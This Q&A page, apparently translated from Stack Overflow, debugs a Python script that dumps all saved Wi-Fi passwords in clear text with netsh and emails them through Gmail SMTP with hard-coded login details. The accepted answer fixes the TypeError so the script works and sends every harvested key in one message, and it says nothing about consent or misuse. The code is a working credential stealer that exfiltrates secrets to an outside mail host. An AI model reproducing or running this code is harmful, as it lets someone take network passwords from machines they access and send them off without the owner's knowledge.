TypeError：预期的字符串或类似字节的对象。在哪里将其更改为字符串？

Question

当我尝试运行此python时：

import subprocess, smtplib
def send_mail(email,password,message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email,password)
    server.sendmail(email, email, message)
    server.quit()

a = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n')
a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]
for i in a:
    results = subprocess.check_output(['netsh','wlan','show','profile',i,'key=clear']).decode('utf-8').split('\n')
    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
    try:
        print ("{:<30}| {:<}".format(i, results[0]))
    except IndexError:
        print ("{:<30}| {:<}".format(i,""))
send_mail("[email protected]","Example123",results)

我收到此错误

Traceback (most recent call last):
  File "wifi.py", line 18, in <module>
    send_mail("[email protected]","Example123",results)
  File "wifi.py", line 6, in send_mail
    server.sendmail(email, email, message)
  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 886, in sendmail
    (code, resp) = self.data(msg)
  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 568, in data
    q = _quote_periods(msg)

    return re.sub(br'(?m)^\.', b'..', bindata)
  File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\re.py", line 210, in sub
    return _compile(pattern, flags).sub(repl, string, count)
TypeError: expected string or bytes-like object

我知道我需要将'str'放在某个地方，但我不知道哪一部分（我对python还是很陌生的]

您有结果作为列表，只需将其转换为字符串

import subprocess, smtplib
def send_mail(email,password,message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email,password)
    server.sendmail(email, email, message)
    server.quit()

a = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n')
a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]
to_send = []
for i in a:
    results = subprocess.check_output(['netsh','wlan','show','profile',i,'key=clear']).decode('utf-8').split('\n')
    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
    # in order to send everything store it in another list and then join them with new line.
    to_send.append("".join(results))
    try:
        print ("{:<30}| {:<}".format(i, results[0]))
    except IndexError:
        print ("{:<30}| {:<}".format(i,""))
# convert list to string
send_mail("[email protected]","Example123","\n".join(to_send))
